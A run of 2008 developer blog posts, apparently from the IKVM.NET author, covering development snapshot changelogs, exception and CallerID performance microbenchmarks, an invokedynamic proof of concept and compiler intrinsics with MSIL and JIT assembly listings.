  • DatagramSocket: Implemented connected datagram sockets using .NET 2.0 API.
  • DatagramSocket: Used .NET 2.0 Socket.IOControl() API to disable WSAECONNRESET errors (when not connected).
  • DatagramSocket: Throw PortUnreachableException from receive() if we receive WSAECONNRESET while connected.
  • Various java.util.zip compatibility and bug fixes.
  • Fixed bytecode compiler not to generate unneeded GC.KeepAlive() in constructor for Exception types that don't have a finalize() method.
  • Fixed #2001802 contributed by Andy Malakov.
  • Fixed #2001799.
  • Fixed #2006953.
  • Fixed file I/O error handling incompatibilities.
  • Added ghost array tagging to be able to report the instantiated class (instead of the object[] which is allocated instead).
  • Fixed ldc <class> where <class> is a ghost array.
  • Fixed bug in instanceof <class> where <class> is a Serializable[].
  • Removed Mono workarounds that are no longer needed with Mono 2.0.

WARNING: THIS IS A DEVELOPMENT SNAPSHOT, NOT AN OFFICIAL RELEASE.

Development snapshots are intended for evaluating and keeping track of where the project is going, not for production usage. The binaries have not been extensively tested and are not strong named.

This version supports .NET 2.0 SP1 and Mono 2.0.

Binaries available here: ikvmbin-0.37.3141.zip

8/7/2008 8:13:00 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Wednesday, July 09, 2008

PDC

I'll be at the PDC again this year. Drop me a line if you're going and want to meet me there to chat (or to buy me a beer ;-)).

Meet me in Los Angeles -- PDC 2008

7/9/2008 7:35:32 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Monday, June 30, 2008

Exception Performance Part 2

Last time we saw that CLR exception handling is significantly slower than HotSpot exception handling. This time we'll look at two very variations of the ExceptionPerf1 microbenchmark that significantly affect performance.

I've highlighted the changes.

Variation 1

public class ExceptionPerf2 {
  public static void main(String[] args) {
    long start = System.currentTimeMillis();
    for (int i = 0; i < 100000; i++) {
      try {
        Integer.parseInt("");
      }
      catch (NumberFormatException x) {
      }
    }
    long end = System.currentTimeMillis();
    System.out.println(end - start);
  }
}

Variation 2

public class ExceptionPerf3 {
  static NumberFormatException exc;
  public static void main(String[] args) {
    long start = System.currentTimeMillis();
    for (int i = 0; i < 100000; i++) {
      try {
        Integer.parseInt(null);
      }
      catch (NumberFormatException x) {
        exc = x;
      }
    }
    long end = System.currentTimeMillis();
    System.out.println(end - start);
  }
}

Results:

      HotSpot 1.6 x86     .NET 1.1 SP1     .NET 2.0 SP1 x86     Mono 1.9 x86
ExceptionPerf1 111 14743 3590 537
ExceptionPerf2 140 15735 10761 36309
ExceptionPerf3 112 14946 9728 24107


.NET/Mono results with IKVM 0.36

Why do these small changes have such a big perf impact?

Both these changes result in additional stack trace data being collected. IKVM has some optimizations that prevent gathering stack traces in very specific circumstances. Normally when you create a Java exception object, the Throwable constructor will call Throwable.fillInStackTrace(). However, since this is a very expensive operation, IKVM tries to remove this call when it is unnecessary (i.e. when it sees that you immediately throw the exception and the exception type doesn't override Throwable.fillInStackTrace()). Additionally, in Java an exception object will always have the complete stack trace, but a .NET exception only has the stack frames from the throw to the catch site. This means that at the catch site IKVM will collect the rest of the stack trace, unless the exception object isn't used (as in the ExceptionPerf1 microbenchmark).

The time it takes to collect a stack traces obviously depends on the call stack depth, so let's look at a microbenchmark to measure that effect:

class ExceptionPerf4 {
  public static void main(String[] args) {
    nest(Integer.parseInt(args[0]));
  }

  static void nest(int depth) {
    if (depth > 0) {
      nest(depth - 1);
    } else {
      run();
    }
  }

  static void run() {
    Exception x = new Exception();
    long start = System.currentTimeMillis();
    for (int i = 0; i < 100000; i++) {
      x.fillInStackTrace();
    }
    long end = System.currentTimeMillis();
    System.out.println(end - start);
  }
}

Results:

Depth     HotSpot 1.6 x86     .NET 1.1 SP1     .NET 2.0 SP1 x86     Mono 1.9 x86
1 64 2930 4611 19377
10 85 3814 6787 34895
100 380 12500 27935  
1000 3543      

For the curious, the IKVM implementation of Throwable.fillInStackTrace() is essentially new System.Diagnostics.StackTrace(true);

Next time we'll wrap things up.

6/30/2008 9:22:06 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Wednesday, June 25, 2008

Exception Performance Part 1

One area where IKVM performance is much worse than HotSpot is in throwing and catching exceptions. This blog is the first of three that will look into why this is the case.

We start out with two microbenchmarks to highlight the differences.

Java

public class ExceptionPerf1 {
  public static void main(String[] args) {
    long start = System.currentTimeMillis();
    for (int i = 0; i < 100000; i++) {
      try {
        Integer.parseInt(null);
      }
      catch (NumberFormatException x) {
      }
    }
    long end = System.currentTimeMillis();
    System.out.println(end - start);
  }
}

C#

using System;

class ExceptionPerf1 {
  public static void Main(string[] args) {
    int start = Environment.TickCount;
    for (int i = 0; i < 100000; i++) {
      try {
        throw new Exception();
      }
      catch (Exception) {
      }
    }
    int end = Environment.TickCount;
    Console.WriteLine(end - start);
  }
}

Results:

      HotSpot 1.6 x86     .NET 1.1 SP1     .NET 2.0 SP1 x86     Mono 1.9 x86
Java* 111 14743 3590 537
C#   11139 2605 187


*.NET/Mono results with IKVM 0.36

This shows that the situation on the CLR is pretty bad. If you care about exception throwing performance, please complain to Microsoft instead of to me. Although I expect that they'll tell you not to throw so many exceptions. ;-)

On the next episode we'll see that the above microbenchmark is actually a best case scenario for IKVM and we'll see how things can get much worse...

6/25/2008 12:40:19 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]

Useful Tool

Andy Malakov wrote an Ant task for ikvmc. It also contains a doclet that can generate an xml mapping file that contains all the parameter names that ikvmc can then attach to the .NET methods (ikvmc already does this for methods with debugging information, but that doesn't work for abstract methods).

Good stuff!

6/25/2008 9:08:54 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Friday, June 13, 2008

New Development Snapshot

I've finally updated to a new drop of OpenJDK. If you want to build IKVM from source you'll need the directory resulting from a full build of OpenJDK 6 b10 on Linux AMD64 (although I suppose that if you change the paths in ikvm/openjdk/allsources.lst you'll be able to use an x86 version as well). At some point I'll release a zip file containing just the needed artifacts, but that will take some more time.

IKVM.OpenJDK.ClassLibrary.dll grew in size to 31,657,984 bytes, mostly because the character de-/encoders that live inside charsets.jar are now included as well. I know size is a big issue for many people and as previously discussed I'm still planning to split the class library assembly into several different files.

Changes since previous development snapshot:

  • Integrated OpenJDK 6 b10.
  • Fixed Method.getParameterAnnotations() bug introduced by CallerID support.
  • Changed forked AbstractQueuedSynchronizer to use AtomicReferenceFieldUpdater instead of map.xml based compareAndSet methods to reduce the number of differences between upstream and our version.
  • Fixed three String bugs found by OpenJDK string tests.

WARNING: THIS IS A DEVELOPMENT SNAPSHOT, NOT AN OFFICIAL RELEASE.

Development snapshots are intended for evaluating and keeping track of where the project is going, not for production usage. The binaries have not been extensively tested and are not strong named.

If you want to run this version on Mono, you'll need a Mono version built from recent svn, it does not work on Mono 1.9.

Binaries available here: ikvmbin-0.37.3086.zip

6/13/2008 11:58:01 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]

Wednesday, June 04, 2008

New Development Snapshot

Changes since previous development snapshot:

  • Code clean up and refactoring.
  • Removed security asserts in JVM.CriticalFailure, because they no longer work now that IKVM.Runtime is security transparent.
  • Implemented CallerID infrastructure.
  • Marked various methods with HasCallerID annotation.
  • Applied awt patch #1979656 by Daniel Wilson.

WARNING: THIS IS A DEVELOPMENT SNAPSHOT, NOT AN OFFICIAL RELEASE.

Development snapshots are intended for evaluating and keeping track of where the project is going, not for production usage. The binaries have not been extensively tested and are not strong named.

If you want to run this version on Mono, you'll need a Mono version built from recent svn, it does not work on Mono 1.9.

Binaries available here: ikvmbin-0.37.3077.zip

6/4/2008 7:24:21 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Monday, June 02, 2008

Introducing CallerID Part 3

This is the last part of a three part backward running series on the design, implementation and performance results of the CallerID feature.

How To Pass Information From Caller To Callee

The obvious solution is to use a method parameter, but in this case there is a slight complication: We can't necessarily trust the caller to provide truthful information.

The first scheme I came up with was something like this:

class CallSiteExample {
  private static CallerID __callerID;

  static void method() {
    Class.forName("...", ref __callerID);
  }
}

Here CallerID would be a value type defined in IKVM.Runtime and its content (a Class and ClassLoader reference field) would only be accessible to the runtime and core class library. Inside the callee there would be a check to see if the required field in the CallerID value had been initialized and if not, it would walk up the stack to determine the caller and store the result in the CallerID value.

The obvious downside of this scheme is that it would still require a stack walk the first time a call site does a call. A less obvious downside is that this approach makes it harder to pass the CallerID to another method. This is used in a couple of places where the callee doesn't do the actual work of looking at the caller. Take for exampe java.lang.reflect.Field.get():

@ikvm.internal.HasCallerID
public Object get(Object obj)
    throws IllegalArgumentException, IllegalAccessException
{
    return getFieldAccessor(obj, CallerID.getCallerID()).get(obj);
}

Here the actual access check is in getFieldAccessor (actually, it in turn calls another method to do the security check) and I used the CallerID.getCallerID() intrinsic to pass the implicit callerID parameter explicitly to this other method. Doing this with the value type byref approach would have made this a lot harder.

Nested Types

The design sketched above is actually fairly old, but I had never implemented it due to a nagging feeling that it wasn't quite right. I think my primary concern was that it didn't actually get rid of the stack walk, it only reduced them to at most one per caller. Last week as I was helping someone with a problem that turned out to be caused by a stack walking issue on Mono running on ARM I realized that I should get rid of the stack walk altogether and came up with the trick of using a nested type to create an unforgeable token to represent a class.

Reflection

Another instance of passing around the CallerID is found in reflection. When you call a method via reflection, the immediate caller of that method will, of course, be some VM internal method or Method.invoke() depending on the exact implementation, so the stack walking mechanism that the JDK (and previous IKVM versions) use skips all stack frames related to reflection to get to the real caller. However, with the new scheme, Method.invoke() already gets passed in the CallerID, so it would be a shame not to use this and, of course, it is trivial to pass this value along to the call stub which can then (if required) pass it along to the method being called.

Why the Explicit HasCallerID Annotation?

I could have made ikvmc add the implicit CallerID parameter to every method that calls one of the intrinsics that return the caller, but this has three downsides. The first is that it would have made compiling the core class library slower, because ikvmc would have had to check every method to see if it calls one of these intrinsics (the .NET method signature gets determined way before the method body is processed). The second is that since the additional parameter is, in a sense, part of the public API it should be a conscious decision. The third reasons is that the implicit approach doesn't work with methods that indirectly look at the caller, like the Field.get() example above, so I would have needed to add a mechanism for that anyway.

Limitations

The current implementation doesn't support adding a CallerID parameter to constructors. This is simply the result of the fact that there aren't any constructors that require CallerID that I'm aware of. Another limitation is that the HasCallerID annotation is only recognized for static methods or instance methods on final classes. This means that ClassLoader.getParent() doesn't currently have CallerID support, even though it does want to look at the caller if there is a security manager installed.

Security Considerations

While it's generally not possible to inject a nested type into an arbitrary type, it may be possible to trick another (dynamic) CLR language into creating such a type. However, I think the risk of that is sufficiently low to make it acceptable.

Another risk is that someone may steal a CallerID object from another type and try to impersonate that type. Since .NET 2.0 SP1 it is actually possible for partially trusted code to use reflection to access private fields if you have the RestrictedMemberAccess permission and both assemblies have the same security grant set. However, since this requires .NET reflection (the callerID field isn't visible from the Java reflection APIs) and there already are several ways to bypass Java's security model by directly using .NET APIs this is also a non-issue.

Finally, it is not possible for untrusted Java code to use the HasCallerID annotation, because ikvmc only recognizes the HasCallerID annotation while compiling the core class library and the IKVM runtime only recognizes CallerID methods in the core class library.

6/2/2008 8:20:41 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Sunday, June 01, 2008

Introducing CallerID Part 2

In part 1 we saw the Java source for the ForName benchmark, now let's look at some C# code that is roughly equivalent to what IKVM generates from the Java version:

class ForName  {
  private static readonly __CallerID __callerID = new __CallerID();
  private sealed class __CallerID : ikvm.@internal.CallerID { }

  public static void Main(string[] args) {
    java.lang.Class.forName("java.lang.Object", __callerID);
    long start = java.lang.System.currentTimeMillis();
    for (int i = 0; i < 100000; i++)
      java.lang.Class.forName("java.lang.Object", __callerID);
    long end = java.lang.System.currentTimeMillis();
    java.lang.System.@out.println(end - start);
  }
}

This shows that the compiler passes an extra parameter to the Class.forName() method that carries the identity of the caller's class.

The source for ikvm.internal.CallerID is available in cvs. The class is public and has a protected constructor but has no public methods (they are all internal to the IKVM.OpenJDK.ClassLibrary assembly). The intended usage is shown above, you should extend it with a private class that is nested inside the class whose identity you want to pass to a CallerID requiring API.

The example also demonstrates how you can call these methods from C# if you want to get the best performance, however I recommend using the standard versions of the APIs unless the performance difference is critical to your application.

Above we looked at the caller, now let's look at the callee. Here's the Java source for the Class.forName() method:

@ikvm.internal.HasCallerID
public static Class forName(String className)
            throws ClassNotFoundException {
  return forName0(className, true, ClassLoader.getCallerClassLoader());
}

I added the HasCallerID annotation to signal to ikvmc that it should add the implicit CallerID parameter and ClassLoader.getCallerClassLoader() has been turned into an intrinsic that calls getCallerClassLoader() on the passed in CallerID object instead. Here's the C# equivalent that ikvmc produces for the Class.forName() method:

public static java.lang.Class forName(string className, ikvm.@internal.CallerID callerID) {
  return java.lang.Class.forName0(className, truee, callerID.getCallerClassLoader());
}

[IKVM.Attributes.HideFromJava]
public static java.lang.Class forName(string className) {
  System.Diagnostics.StackFrame caller = new System.Diagnostics.StackFrame(1, false);
  return forName(className, ikvm.@internal.CallerID.create(caller));
}

In part 3 we'll look at the design decisions behind this implementation.

6/1/2008 10:15:18 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Saturday, May 31, 2008

Introducing CallerID Part 1

In the Java API there are a number of APIs that rely on being able to walk up the call stack to determine certain properties of the immediate caller of the API. The most common scenario is determining the caller's class or class loader. This information is used to implement security checks or to use the right class loader.

Up until now IKVM used the System.Diagnostics.StackFrame .NET API to walk the stack. There are however two major issues with this API. The first issue is that it is unreliable and IKVM jumps through various hoops to make sure that the CLR doesn't inline methods it shouldn't inline or use tail call optimizations it shouldn't use. The second issue is that it is relatively slow.

I finally got around to implementing an alternative scheme that eliminates the usage of System.Diagnostics.StackFrame in most cases. In part 2 I'll describe the implementation, but for now let's just look at some performance numbers.

I've cooked up two microbenchmarks that clearly demonstrate the difference between the current approach and the new approach.

Class.forName()

In this microbenchmark we look at the Class.forName() API. It walks the call stack to determine the class loader of the immediate caller, because that is the class loader that it needs to use to load the class.

class ForName {
  public static void main(String[] args) throws Exception {
    Class.forName("java.lang.Object");
    long start = System.currentTimeMillis();
    for (int i = 0; i < 100000; i++)
      Class.forName("java.lang.Object");
    long end = System.currentTimeMillis();
    System.out.println(end - start);
  }
}

ForName results:

  x86 x64
IKVM 0.37.3063             4350     3959
IKVM 0.37.3073 45 49
JDK 1.6 138 97


(The difference between JDK 1.6 x86 and x64 is mostly due to x86 defaulting to HotSpot Client and x64 to HotSpot Server.)

Method.invoke()

The Method.invoke() API uses the caller class to perform the required access checks when you are calling a non-public method or a method in non-public class.

class Invoke {
  public static void main(String[] args) throws Exception {
    java.lang.reflect.Method m = Invoke.class.getDeclaredMethod("foo");
    long start = System.currentTimeMillis();
    for (int i = 0; i < 100000; i++)
      m.invoke(null);
    long end = System.currentTimeMillis();
    System.out.println(end - start);
  }

  private static void foo() { }
}

Invoke results:

  x86 x64
IKVM 0.37.3063             6083     5572
IKVM 0.37.3073 14 16
JDK 1.6 82 39

To be continued in part 2...

5/31/2008 5:20:40 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Friday, May 23, 2008

Invokedynamic Proof of Concept Part 2

Rémi Forax inspired me to make my invokedynamic proof of concept a little more real, so I implemented it (still only as a proof of concept, not production quality code) in an IKVM 0.37 fork.

I used the following Java test case:

interface java_dyn_Dynamic
{
  void printSubstring(int startIndex, int length);
  int length();
}

class InvokeDynamic
{
  static
  {
    try
    {
      java.lang.reflect.Method m = InvokeDynamic.class.getDeclaredMethod("bootstrapInvokeDynamic",
                                     java.dyn.CallSite.class, Object.class, Object[].class);
      java.dyn.MethodHandle mh = java.dyn.MethodHandles.unreflect(m);
      java.dyn.Linkage.registerBootstrapMethod(InvokeDynamic.class, mh);
    }
    catch (Exception x)
    {
      x.printStackTrace();
    }
  }

  public static void main(String[] args)
  {
    java_dyn_Dynamic obj = (java_dyn_Dynamic)(Object)"invokedynamic";
    for (int i = 0; i < 3; i++)
    {
      System.out.println("len = " + obj.length());
      obj.printSubstring(3, 2);
    }
  }

  public static void printSubstring(String str, int startIndex, int length)
  {
    System.out.println(str.substring(startIndex, startIndex + length));
  }

  private static Object bootstrapInvokeDynamic(java.dyn.CallSite cs, Object receiver, Object[] args)
    throws Exception
  {
    System.out.println("bootstrapInvokeDynamic");
    if (cs.getStaticContext().getName().equals("length"))
    {
      java.lang.reflect.Method m = String.class.getMethod("length");
      cs.setTarget(java.dyn.MethodHandles.unreflect(m));
      return m.invoke(receiver);
    }
    else
    {
      Class c = cs.getStaticContext().getCallerClass();
      java.lang.reflect.Method m = c.getMethod("printSubstring", String.class, int.class, int.class);
      cs.setTarget(java.dyn.MethodHandles.unreflect(m));
      return m.invoke(null, receiver, args[0], args[1]);
    }
  }
}

After compiling this with javac I used a hex editor to patch the file (changed java_dyn_Dynamic to java/dyn/Dynamic and C0 00 03 to 00 00 00 to remove the checkcast instruction).

Current limitations:

  • java.dyn.MethodType is not implemented.
  • MethodHandles can only be created on methods with a couple of arguments and from the primitive types only int can be used as an argument or return type.
  • Not all of the IKVM specific corner cases are supported (e.g. calling .NET methods or methods on remapped types).
  • The CallSite and MethodHandle implementation objects do not have a proper class (i.e. CallSite.getClass() doesn't work).
  • Only a small subset of the MethodHandle functionality is implemented (e.g. no bound or Java method handles).

None of these limitations pose any interesting challenges, so implementing them does not add much value to this proof of concept.

Files:

5/23/2008 3:17:04 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Wednesday, May 21, 2008

Invokedynamic Proof of Concept

A few days ago the JSR 292 expert group released an early draft review for the invokedynamic instruction.

To investigate how this would work out for IKVM, I cooked up a proof of concept in C#.

class InvokeDynamicPoC
{
  private static InvokeDynamic<object, CallSite, object, object[]> __bootstrapMethod =
    bootstrapInvokeDynamic;
  private static CallSiteImpl<InvokeDynamicVoid<string, int, int>> __site1 =
    new CallSiteImpl<InvokeDynamicVoid<string, int, int>>(
      new StaticContextImpl(typeof(InvokeDynamicPoC), "printSubstring"));

  private static void Main()
  {
    for (int j = 0; j < 2; j++)
    {
      int start = Environment.TickCount;
      for (int i = 0; i < 10/*0000000/**/; i++)
      {
        string obj = "invokedynamic";
        int arg1 = 3;
        int arg2 = 2;
        MethodHandleImpl<InvokeDynamicVoid<string, int, int>> mh = __site1.mh;
        if (mh == null)
        {
          __bootstrapMethod(__site1, obj, new object[] { java.lang.Integer.valueOf(arg1),
                                                         java.lang.Integer.valueOf(arg2) });
        }
        else
        {
          mh.d(obj, arg1, arg2);
        }
      }
      int end = Environment.TickCount;
      Console.WriteLine(end - start);
    }
  }

  private static void printSubstring(string s, int startIndex, int length)
  {
    Console.WriteLine(s.Substring(startIndex, length));
  }

  private static object bootstrapInvokeDynamic(CallSite cs, object receiver, object[] arguments)
  {
    java.lang.Class c = typeof(InvokeDynamicPoC);
    java.lang.reflect.Method m = c.getDeclaredMethod(cs.getStaticContext().getName(),
                                                     typeof(string), typeof(int), typeof(int));
    MethodHandle mh = MethodHandles.unreflect(m);
    cs.setTarget(mh);
    return m.invoke(null, receiver, arguments[0], arguments[1]);
  }
}

The full (compilable and working) source is available here.

5/21/2008 9:56:49 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

New Development Snapshot

More .NET 2.0 work and bug fixing, but the biggest change is that class library initialization has been refactored (building on the property support added in the previous snaphot which allows java.lang.System to lazily initialize the I/O streams). Instead of it being an all or nothing approach (i.e. initialize all core classes at once, like in Java) the initialization dependencies have been mostly removed and each part can now be initialized on demand. This makes the code easier to follow, startup more efficient and removed the need for some ugly hacks to make initialization work correctly.

One thing isn't yet working, if you specify a Java security manager in your app.config it isn't guaranteed that the security manager will be installed immediately (currently it's only installed the first time ClassLoader.getSystemClassLoader() is called.) I'm not sure if it is worth fixing this, because using the Java security manager in this way doesn't seem to make much sense (i.e. if you are running your application as a .NET application, why would you use the Java security manager to restrict what it can do, it won't be able do a good job anyway, since it doesn't know about your non-Java .NET code that directly calls .NET Framework APIs.)

Changes since previous development snapshot:

  • Call suppressFillInStackTrace before instantiating a remapped exception in the remap implementation method.
  • Added assembly location to verbose class cast exception if the assembly fullnames matches but the locations don't.
  • Create the generic delegate type before compiling the rest of the core class library, to allow the core class library to use delegates.
  • Fixed name mangling bug. Dots in nested type names should be mangled, because they shouldn't affect the package name.
  • Include exception message in ClassCastException.
  • Added hack to support instantiating fake enums for types loaded in ReflectionOnly (to support custom attribute annotations that have enum values in ikvmstub).
  • Added -reference option to ikvmstub to load referenced assemblies from a specific location.
  • Refactored class library initialization.
  • Implemented Runtime.availableProcessor() using .NET 2.0 API.
  • Moved most java.lang.System "native" methods to the Java side.
  • Moved java.lang.Thread "native" methods to Java.
  • Implemented support for specifying Thread stack size.
  • Fix deserialization of double arrays.
  • Added more efficient float/double to/from int/long bits converters.
  • Made Double.doubleToRawLongBits/longBitsToDouble and Float.floatToRawIntBits/intBitsToFloat intrinsics.
  • Generalized the support infrastructure for adding compiler intrinsics.
  • Fixed Graphics2D.rotate() to convert rotation angle from radians (Java) to degrees (.NET).
  • Fixed libikvm-native.so build to include reference to gmodule-2.0 library.
  • Fixed build issue on Mono (gmcs implicitly references System.Core.dll and that caused a conflict with our locally defined ExtensionAttribute).
  • Fixed ikvmc not to open the key file for write access.
  • Added workarounds for mcs compiler bug (related to the mutual dependencies of IKVM assemblies).
  • Restructured code to remove (mcs) compiler warnings.

WARNING: THIS IS A DEVELOPMENT SNAPSHOT, NOT AN OFFICIAL RELEASE.

Development snapshots are intended for evaluating and keeping track of where the project is going, not for production usage. The binaries have not been extensively tested and are not strong named.

If you want to run this version on Mono, you'll need a Mono version built from recent svn, it does not work on Mono 1.9.

Binaries available here: ikvmbin-0.37.3063.zip

5/21/2008 7:16:08 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Friday, May 09, 2008

Compiler Intrinsics

Most compilers have some (or in some cases many) intrinsic functions. HotSpot has a number of them (see here, search for "intrinsics known to the runtime") as does the CLR JIT. IKVM has had a couple as well (System.arraycopy(), AtomicReferenceFieldUpdater.newUpdater(), String.toCharArray()). These were sort of hacked into the compiler and I finally decided to clean that up a little and add more scalable support for adding intrinsincs. The trigger to do this was that I added four more intrinsics: Float.floatToRawIntBits(), Float.intBitsToFloat(), Double.doubleToRawLongBits() and Double.longBitsToDouble().

Benchmark

Here's a micro benchmark:

public class test {
  public static void main(String[] args) {
    long sum = 1;
    long start = System.currentTimeMillis();
    for (int i = 0; i < 10000000; i++) {
      sum += Double.doubleToRawLongBits(sum);
    }
    long end = System.currentTimeMillis();
    System.out.println(end - start);
    System.out.println(sum);
  }
}

Here are the results:

         x86 (aligned)     x86 (unaligned)                      x64
JDK 1.6 HotSpot Server VM    287   109
JDK 1.6 HotSpot Client VM 335    
IKVM 0.36 .NET 1.1 479 565  
IKVM 0.36 .NET 2.0 570 704 124
IKVM 0.37 338 468 101


Since the x86 .NET results are highly sensitive as to whether the double on the stack happens to be aligned or not, I included both results.

Implementation

Here's the MSIL that IKVM generates for the loop:

IL_000b:   ldloc.2
IL_000c:   ldc.i4    0x989680
IL_0011:   bge       IL_0028
IL_0016:   ldloc.0
IL_0017:   ldloc.0
IL_0018:   conv.r8
IL_0019:   ldloca.s  V_3
IL_001b:   call      int64 [IKVM.Runtime]IKVM.Runtime.DoubleConverter::ToLong(float64,
                     valuetype [IKVM.Runtime]IKVM.Runtime.DoubleConverter&)
IL_0020:   add
IL_0021:   stloc.0
IL_0022:   ldloc.2
IL_0023:   ldc.i4.1
IL_0024:   add
IL_0025:   stloc.2
IL_0026:   br.s      IL_000b

The conversion isn't actually inlined, but instead a local variable of value type IKVM.Runtime.DoubleConverter is added to the method and a static method on that type that takes the value to be converted and a reference to the local variable is called. Here's the code for IKVM.Runtime.DoubleConverter:

[StructLayout(LayoutKind.Explicit)]
public struct DoubleConverter
{
  [FieldOffset(0)]
  private double d;
  [FieldOffset(0)]
  private long l;

  public static long ToLong(double value, ref DoubleConverter converter)
  {
    converter.d = value;
    return converter.l;
  }

  public static double ToDouble(long value, ref DoubleConverter converter)
  {
    converter.l = value;
    return converter.d;
  }
}

It uses the .NET feature that allows you to explicitly control the layout of a struct  to overlay the double and long fields. Note that this construct is fully verifiable.

For comparison, the standard System.BitConverter.DoubleToInt64Bits() uses unsafe code and looks something like this:

public static unsafe long DoubleToInt64Bits(double value)
{
  return *((long*)&value);
}

For some reason (probably because it isn't verifiable) the JIT doesn't like this so much and doesn't inline this method.

JIT Code

Here's the x86 code generated by the .NET 2.0 SP1 JIT:

049E15CE  cmp    ebx,989680h
049E15D4  jge    049E1600
049E15D6  lea    ecx,[esp+8]
049E15DA  mov    dword ptr [esp+10h],esi
049E15DE  mov    dword ptr [esp+14h],edi
049E15E2  fild   qword ptr [esp+10h]
049E15E6  fstp   qword ptr [esp+10h]
049E15EA  fld    qword ptr [esp+10h]
049E15EE  fstp   qword ptr [ecx]
049E15F0  mov    eax,dword ptr [ecx]
049E15F2  mov    edx,dword ptr [ecx+4]
049E15F5  add    eax,esi
049E15F7  adc    edx,edi
049E15F9  mov    esi,eax
049E15FB  mov    edi,edx
049E15FD  inc    ebx
049E15FE  jmp    049E15CE

Here's the x64 code generated by the .NET 2.0 SP1 JIT:

00000642805B8A90  cmp        ecx,989680h
00000642805B8A96  jge        00000642805B8AB1
00000642805B8A98  cvtsi2sd   xmm0,rdi
00000642805B8A9D  lea        rax,[rsp+20h]
00000642805B8AA2  movsd      mmword ptr [rax],xmm0
00000642805B8AA6  mov        rax,qword ptr [rax]
00000642805B8AA9  add        rdi,rax
00000642805B8AAC  add        ecx,1
00000642805B8AAF  jmp        00000642805B8A90

In both cases the construct is inlined properly. It is also obvious why the x64 code is so much faster, it uses SSE (as we've seen before) and only uses one memory store/load combination.

HotSpot

For completeness, here's the code generated by HotSpot x64:

0000000002772EA0  cvtsi2sd   xmm0,r11
0000000002772EA5  add        ebp,10h
0000000002772EA8  movsd      mmword ptr [rsp+20h],xmm0
0000000002772EAE  mov        r10,qword ptr [rsp+20h]
0000000002772EB3  add        r10,r11
0000000002772EB6  cvtsi2sd   xmm0,r10
0000000002772EBB  movsd      mmword ptr [rsp+20h],xmm0
0000000002772EC1  mov        r11,qword ptr [rsp+20h]
0000000002772EC6  add        r11,r10
0000000002772EC9  cvtsi2sd   xmm0,r11
0000000002772ECE  movsd      mmword ptr [rsp+20h],xmm0
0000000002772ED4  mov        r10,qword ptr [rsp+20h]
0000000002772ED9  add        r10,r11
[...]
0000000002772FC0  cvtsi2sd   xmm0,r10
0000000002772FC5  movsd      mmword ptr [rsp+20h],xmm0
0000000002772FCB  mov        r11,qword ptr [rsp+20h]
0000000002772FD0  add        r11,r10
0000000002772FD3  cmp        ebp,r9d
0000000002772FD6  jl         0000000002772EA0

It actually unrolled the loop 16 times (which appears not be helping in the case), but otherwise the code generated is pretty similar to what we saw on the CLR. Of course, in HotSpot Double.doubleToRawIntBits() is also an intrinsic because in Java the only alternative would be to write it in native code and the JNI transition would add significant overhead in this case.

5/9/2008 11:27:51 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]

Monday, May 05, 2008

IKVM 0.36 Update 2 Release Candidate 1

A couple of fixes.

Changes:

  • Remapped exceptions with explicit remapping code now call suppressFillInStackTrace (to make sure the proper stack trace is captured).
  • Fixed memory mapped file bug (mapping at a non-zero file offset would fail).
  • Fixed .NET type name mangling for nested types that contain a dot in their name (which the C# 3.0 compiler generates for some private helper types).
  • Fixed java.io.File.getCanonicalPath() to swallow System.NotSupportedException (thrown when the path contains a colon, other than the one following the drive letter).
  • Fixed bug in deserialization of double arrays.

Binaries available here: ikvmbin-0.36.0.12.zip
Sources (+ binaries):ikvm-0.36.0.12.zip

5/5/2008 6:23:35 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Thursday, April 17, 2008

Invalid Casting Goodness

Yesterday Miguel blogged about a nice new feature in Mono. I added the IKVM_VERBOSE_CAST environment variable to IKVM to do something similar a while ago.

public class test {
  public static void main(String[] args) {
    System.out.println((String)(Object)args);
  }
}

C:\j>\ikvm-0.36.0.11\bin\ikvm test
Exception in thread "main" java.lang.ClassCastException
        at test.main(test.java)

C:\j>set IKVM_VERBOSE_CAST=1

C:\j>\ikvm-0.36.0.11\bin\ikvm test
Exception in thread "main" java.lang.ClassCastException: Object of type "System.String[], mscorlib, Version=1.0.5000.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" cannot be cast to "System.String, mscorlib, Version=1.0.5000.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
        at test.main(test.java)

Note that the assembly qualified type names are displayed, as I believe this feature is particularly useful when trying to debug issues that arise from having loaded multiple assemblies that contain the "same" types.

While writing this I discovered that both JDK 1.6 and .NET 2.0 always generate descriptive exception messages for invalid casts:

C:\j>\jdk1.6\bin\java test
Exception in thread "main" java.lang.ClassCastException: [Ljava.lang.String; can not be cast to java.lang.String
        at test.main(test.java:5)

C:\j>\ikvm\bin\ikvm test
Exception in thread "main" java.lang.ClassCastException: Unable to cast object of type 'System.String[]' to type 'System.String'.
        at test.main(test.java:5)

This last result is my local ikvm development version running on .NET 2.0 with a patch to enable taking the exception message from the .NET InvalidCastException, which I didn't previously do because on .NET 1.1 this message didn't contain any useful information.

4/17/2008 8:51:38 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Monday, April 14, 2008

New Development Snapshot

It's been quite a while since the last development snapshot. I'm still working on integrating .NET 2.0 features, but I'm also doing random fixes/improvements here and there as I come across them. The biggest visible change in this snapshot is the support for defining .NET properties as Java fields. The main motivation was that I wanted to handle the System.in/out/err fields more cleanly. They are now implemented like this:

@ikvm.lang.Property(get="get_in")
public final static InputStream in;

static { in = null; }

private static InputStream get_in()
{
    return StdIO.in;
}

